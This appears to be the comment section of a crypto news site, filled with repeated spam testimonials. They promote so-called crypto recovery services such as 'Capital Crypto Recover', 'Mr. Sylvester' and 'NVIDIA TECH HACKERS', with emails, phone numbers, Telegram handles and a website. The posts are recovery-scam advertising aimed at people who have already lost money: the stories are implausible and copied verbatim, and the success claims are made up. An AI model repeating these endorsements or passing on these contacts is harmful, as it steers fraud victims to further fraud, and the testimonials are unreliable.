A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
-
12.10.25 01:12
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
12.10.25 01:12
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
12.10.25 19:53
Tonerdomark
A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
-
12.10.25 21:36
blessing
Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
-
13.10.25 01:11
elizabethrush89
God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
13.10.25 01:11
elizabethrush89
God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 01:15
tyleradams
Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
15.10.25 18:07
crypto
Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.
-
15.10.25 21:52
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
15.10.25 21:52
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com
Войти
Регистрация
Похожие новости
Подпишись на telegram канал и узнавай первым обо всех новостях